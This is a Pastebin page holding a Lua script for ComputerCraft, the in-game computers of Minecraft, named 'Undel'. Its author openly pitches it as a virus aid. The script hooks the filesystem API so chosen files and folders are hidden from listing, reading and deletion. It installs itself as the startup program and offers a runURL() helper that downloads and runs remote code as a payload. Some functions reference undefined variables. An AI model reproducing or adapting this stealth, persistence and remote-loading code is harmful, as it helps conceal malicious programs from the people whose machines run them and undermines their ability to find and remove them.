Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- pastebin get 6ZmEhuJp startup
- -- std pb 6ZmEhuJp startup
- --[[
- Let me explain Undel (yes, that's what I called it):
- Undel is not exactly a virus, as it doesn't carry a payload, but it certainly does help when you add one!
- Undel hides a table of filenames from all detection and execution. Even works with folders!
- The idea is that if a computer has a virus, and that virus does something, then the person will remove the virus with a disk...
- ...but if the person does not know there is a virus, he will make no effort to remove it! It's so devious!
- It doesn't have a payload, so add some code to the end or have it run another hidden file using runActualProgram()
- or runURL().
- Syntax:
- "undel" Will hide anything in protectedList.
- "undel <file1> <file2> <file3> ..." Adds all arguments to protectedList, to be hidden.
- "undel install" Moves startup, names itself startup, and adds a unicode character to itself to prevent reading.
- --]]
- local tArg = {...}
- local function runURL(url, ...)
- local program = http.get(url)
- if not program then return false end
- program = program.readAll()
- local func = loadstring(program)
- setfenv(func, getfenv())
- return func(...)
- end
- local function runCode(...) --Run custom code here before startup!
- return
- end
- local programName = shell.getRunningProgram()
- local protectedList = {
- fs.combine("",shell.getRunningProgram()),
- }
- if (#tArg > 1) or (tArg[1] ~= "--install") then --Add extra files
- for a = 1, #tArg do
- if tArg[a] == "*" then
- protectedList = fs.list(shell.dir())
- break
- else
- table.insert(protectedList,fs.combine("",tArg[a]))
- end
- end
- end
- local function rollOver(input, max) --More useful than it seems.
- return math.floor(input % max)
- end
- local function randomString(input)
- local output
- if fs.isDir(input) then
- output = ".."
- else
- output = "."
- end
- local alphabet = "abcdefghijklmnopqrstuvwxyz1234567890<>[]()!@#$%^&"
- for a = 1, #input do
- local rand = rollOver(string.byte(string.sub(input,a,a)),#alphabet)
- output = output..string.sub(alphabet, rand, rand)
- end
- return output
- end
- local protectedListAlternatives = {}
- local protectedListFiletypes = {}
- for a = 1, #protectedList do
- table.insert(protectedListAlternatives, randomString(protectedList[a]))
- table.insert(protectedListFiletypes, fs.isDir(protectedList[a]))
- end
- local function isInTable(tbl, str)
- for a = 1, #tbl do
- if tbl[a]==str then
- return a
- end
- end
- return false
- end
- local _undelIsRunning
- if tArg[1] == "--install" then _undelIsRunning = true end
- if not _undelIsRunning then
- -- REDEFINE START
- local oldfs = fs
- fs = {
- open = function(path, mode)
- local num = isInTable(protectedList,fs.combine("",path))
- if not num then
- return oldfs.open(path, mode)
- else
- return oldfs.open(protectedListAlternatives[num], mode)
- end
- end,
- isReadOnly = function(path)
- local num = isInTable(protectedList,fs.combine("",path))
- if not num then
- return oldisreadonly(path)
- else
- return oldisreadonly(protectedListAlternatives[num])
- end
- end,
- delete = function(path)
- local num1 = isInTable(protectedList,fs.combine("",path))
- if num1 then
- if protectedListFiletypes[num1] == oldfs.isDir(protectedList[num1]) then
- return oldfs.delete(fs.combine("",protectedListAlternatives[num1]))
- else
- return oldfs.delete(path)
- end
- else
- return oldfs.delete(path)
- end
- end,
- move = function(path, dest)
- local num = isInTable(protectedList,fs.combine("",path))
- if not num then
- return oldfs.move(path, dest)
- else
- if protectedListFiletypes[num] == oldfs.isDir(protectedList[num]) then
- return oldfs.move(path, dest)
- else
- return oldfs.move(protectedListAlternatives[num])
- end
- end
- end,
- list = function(directory)
- local output, dir = {}
- local num1 = isInTable(protectedList,directory)
- if num1 then
- dir = protectedListAlternatives[num1]
- else
- dir = directory
- end
- for a = 1, #oldfs.list(dir) do
- local file = oldfs.list(dir)[a]
- local num1 = isInTable(protectedList,file)
- local num2 = isInTable(protectedListAlternatives,file)
- if num2 then
- table.insert(output, protectedList[num2])
- else
- if not num1 then
- table.insert(output, file)
- end
- end
- end
- return output
- end,
- exists = function(file)
- local num = isInTable(protectedList,fs.combine("",file))
- if not num then
- return oldfs.exists(file)
- else
- return oldfs.exists(protectedListAlternatives[num])
- end
- end,
- find = function(file)
- local output = {}
- for a = 1, #oldfs.find(file) do
- local file = oldfs.find(file)[a]
- local num1 = isInTable(protectedList,fs.combine("",file))
- local num2 = isInTable(protectedListAlternatives,fs.combine("",file))
- if num2 then
- table.insert(output, protectedList[num2])
- else
- if not num1 then
- table.insert(output, file)
- end
- end
- end
- return output
- end,
- isDir = function(directory)
- local num = isInTable(protectedList,fs.combine("",directory))
- if not num then
- return oldfs.isDir(directory)
- else
- return oldfs.isDir(protectedListAlternatives[num])
- end
- end,
- makeDir = function(directory)
- local num = isInTable(protectedList,fs.combine("",directory))
- if not num then
- return oldfs.makeDir(directory)
- else
- return oldfs.makeDir(protectedListAlternatives[num])
- end
- end,
- }
- for k,v in pairs(oldfs) do
- if not fs[k] then
- fs[k] = v
- end
- end
- _G.fs = fs
- -- REDEFINE END --
- local _undelIsRunning = true
- local function runActualFile(fileName, ...) --Run the actual file
- local file = oldfs.open(fileName,"r")
- local contents = file.readAll()
- file.close()
- local func = loadstring(contents)
- setfenv(func, getfenv())
- func(table.unpack({...},2))
- end
- runCode(...) --Runs custom code.
- if fs.exists(fs.combine("",randomString("startup"))) == true then
- shell.run(fs.combine("",randomString("startup")))
- end
- end
- if tArg[1] == "--install" then
- write([[You sure? You can add extra files to hide before install ONLY.
- [Y,N]?]])
- repeat
- local event, key = os.pullEvent("char")
- if key == "y" then
- print("Y")
- elseif key == "n" then
- print("N")
- error("Aborted.")
- end
- until key == "y"
- if fs.exists(fs.combine("",randomString("startup"))) == true then
- fs.delete(fs.combine("",randomString("startup")))
- end
- write("Working...")
- if fs.exists("startup") == true then
- fs.move("startup", fs.combine("",randomString("startup")))
- end
- local file = fs.open(programName,"r")
- local contents = file.readAll()
- file.close()
- fs.move(programName, "startup")
- print("complete!")
- print("Reboot to take effect.")
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement